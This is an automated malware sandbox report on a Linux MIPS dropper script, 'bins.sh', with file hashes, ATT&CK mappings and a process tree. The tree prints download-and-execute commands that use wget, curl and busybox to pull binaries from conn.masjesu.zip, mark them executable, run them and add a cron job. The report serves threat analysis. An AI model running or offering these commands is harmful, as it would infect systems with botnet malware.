b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84

Analysis

max time kernel
123s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
24/11/2024, 06:07

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General

Target
bins.sh
Size 10KB
Sample241124-gva6msxmax
SHA256 b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84
MD5 2128d7e395a2eda74b31415f79e2df84
SHA1 eaf344e3ed44c9d46fc9aa91743c11475268dd2b
SHA512 f1a8d87a630d598fce85b893aab3642deed5c779a63c2dc5beab0dfd3a1378e525ad4827d46bb36e8d950fd3fdcd201ba30162865aabba94e1eefe71e68d71a4
SSDEEP 96:YQMyUi6nL7XUL/TsL40hHbWbSq0+B5NWGAf3IL40/1VQ40dd4/4T41G+x1z1zL1n:tYsMkzAc1G+7JzRr8Ac1G+zJzRrG
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (1167) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
750	chmod
811	chmod
833	chmod
860	chmod
868	chmod
876	chmod
884	chmod
742	chmod
892	chmod
781	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59	743	Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
/tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7	751	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
/tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs	783	CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
/tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q	812	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
/tmp/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF	834	z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
/tmp/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB	861	8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
/tmp/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av	869	nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
/tmp/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC	877	roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
/tmp/i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL	885	i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL
/tmp/MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P	893	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P

Renames itself 1 IoCs

pid	Process
894	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.mfnEWR	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/950/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/328/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1013/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1014/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/998/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/960/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1020/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/924/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/945/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/949/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1010/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/665/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/978/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1024/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/358/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/946/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/948/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1032/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1043/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1054/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/930/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/956/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/972/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1009/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/22/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/145/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/910/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/958/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1058/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/84/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1046/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/903/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1021/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/938/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/714/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/915/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/971/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1050/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1051/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/914/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1015/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1019/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1048/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1055/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/931/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/920/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/82/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/706/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/912/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/921/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/359/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/913/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/926/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/957/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/983/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1056/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/75/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/936/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/940/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/330/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P

System Network Configuration Discovery 1 TTPs 31 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
873	curl
883	busybox
903	wget
816	curl
839	wget
818	busybox
889	curl
849	curl
865	curl
881	curl
733	curl
754	wget
763	curl
799	curl
815	wget
888	wget
715	wget
747	curl
867	busybox
872	wget
773	busybox
810	busybox
864	wget
875	busybox
880	wget
749	busybox
787	wget
859	busybox
891	busybox
741	busybox
746	wget

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7	wget
File opened for modification	/tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7	curl
File opened for modification	/tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs	curl
File opened for modification	/tmp/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB	busybox
File opened for modification	/tmp/i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL	busybox
File opened for modification	/tmp/MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P	curl
File opened for modification	/tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs	busybox
File opened for modification	/tmp/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF	wget
File opened for modification	/tmp/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC	wget
File opened for modification	/tmp/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC	curl
File opened for modification	/tmp/i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL	curl
File opened for modification	/tmp/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av	curl
File opened for modification	/tmp/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av	wget
File opened for modification	/tmp/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av	busybox
File opened for modification	/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59	busybox
File opened for modification	/tmp/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB	wget
File opened for modification	/tmp/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC	busybox
File opened for modification	/tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q	wget
File opened for modification	/tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q	curl
File opened for modification	/tmp/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF	curl
File opened for modification	/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59	wget
File opened for modification	/tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7	busybox
File opened for modification	/tmp/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB	curl
File opened for modification	/tmp/i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL	wget
File opened for modification	/tmp/MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P	wget
File opened for modification	/tmp/MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P	busybox
File opened for modification	/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59	curl
File opened for modification	/tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs	wget
File opened for modification	/tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q	busybox
File opened for modification	/tmp/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:709
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:711
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:715
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:733
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:741
- /bin/chmod
  chmod 777 Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  ./Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - Executes dropped EXE
  PID:743
- /bin/rm
  rm Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  PID:745
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:746
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:747
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:749
- /bin/chmod
  chmod 777 RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  ./RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  - Executes dropped EXE
  PID:751
- /bin/rm
  rm RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  PID:753
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:754
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:763
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:773
- /bin/chmod
  chmod 777 CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
  ./CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
  2⤵
  - Executes dropped EXE
  PID:783
- /bin/rm
  rm CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
  2⤵
  PID:786
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:787
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:799
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:810
- /bin/chmod
  chmod 777 QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
  ./QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
  2⤵
  - Executes dropped EXE
  PID:812
- /bin/rm
  rm QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
  2⤵
  PID:814
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:815
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:818
- /bin/chmod
  chmod 777 z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
  ./z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
  2⤵
  - Executes dropped EXE
  PID:834
- /bin/rm
  rm z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
  2⤵
  PID:838
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:839
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:849
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:859
- /bin/chmod
  chmod 777 8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
  ./8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm 8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
  2⤵
  PID:863
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:864
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:865
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:867
- /bin/chmod
  chmod 777 nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
  ./nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
  2⤵
  - Executes dropped EXE
  PID:869
- /bin/rm
  rm nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
  2⤵
  PID:871
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:872
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:873
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:875
- /bin/chmod
  chmod 777 roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
  ./roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
  2⤵
  - Executes dropped EXE
  PID:877
- /bin/rm
  rm roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
  2⤵
  PID:879
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:880
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:883
- /bin/chmod
  chmod 777 i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL
  ./i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL
  2⤵
  PID:887
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:888
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:889
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:891
- /bin/chmod
  chmod 777 MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
  ./MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:893
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:895
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:896
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:897
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:898
- /bin/rm
  rm MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
  2⤵
  PID:900
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6e50JUZvANqHMgApF7Srbsq6hwk8yfKEfe
  2⤵
  - System Network Configuration Discovery
  PID:903

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB

Path /tmp/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
Size 117KB
SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
MD5 849fa04ef88a8e8de32cb2e8538de5fe
SHA1 c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA512 2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
SSDEEP 3072:VozXHIisGFgyKB7xlBAUNFd4vm4QbZJmf35zPp:bGmyKBxl2U+vm4QbZJm/5zPp
MD5 SHA1 SHA512 SSDEEP

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CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs

Path /tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
Size 141KB
SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
MD5 3ca8decdb1e52c423c521bfff02ac200
SHA1 8621ecd6807109b8541912ad9e134f6fb49bfd48
SHA512 b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
SSDEEP 3072:h2mQRJQqJ3OuMP2Q72katWmUd4jEJ/SL06gO0NmmytHHQRkLCalY:h2Y17zaPnEJ/SL16mmytHHQRkLplY
MD5 SHA1 SHA512 SSDEEP

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Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59

Path /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
Size 107KB
SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
MD5 eb9c3a0de91fcf16ba17cb24608df68c
SHA1 09d95a7d70d5e115d103be51edff7c498d272fac
SHA512 9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
SSDEEP 3072:97fy8kXAidixidg9l8GTmNFbimQdbZ0r135z8J:9ygrhmNFGmQdbZ0rt5z8J
MD5 SHA1 SHA512 SSDEEP

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MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P

Path /tmp/MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
Size 151KB
SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
MD5 3c90d5820bddcf7c5d1bd21dfa49d958
SHA1 5ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA512 54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
SSDEEP 1536:mVqSjUF+uLHLVdiLzLsLzLsL7LeLGLXL0LLLkLhqqvZjptByZEGkbU+/pWacxZkI:tr9dy1B2gSpLg70mLjXswi5itRx2p
MD5 SHA1 SHA512 SSDEEP

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QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q

Path /tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
Size 151KB
SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
MD5 6c583043d91c55aa470c08c87058e917
SHA1 abf65a5b9bba69980278ad09356e53de8bb89439
SHA512 82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
SSDEEP 3072:iDTElsfhWriM4eiANlb5calmCjXswi5itRx2p:Of4HZLNlbvmCjXswi5i3x2p
MD5 SHA1 SHA512 SSDEEP

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RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7

Path /tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
Size 177KB
SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
MD5 786d75a158fe731feca3880f436082c0
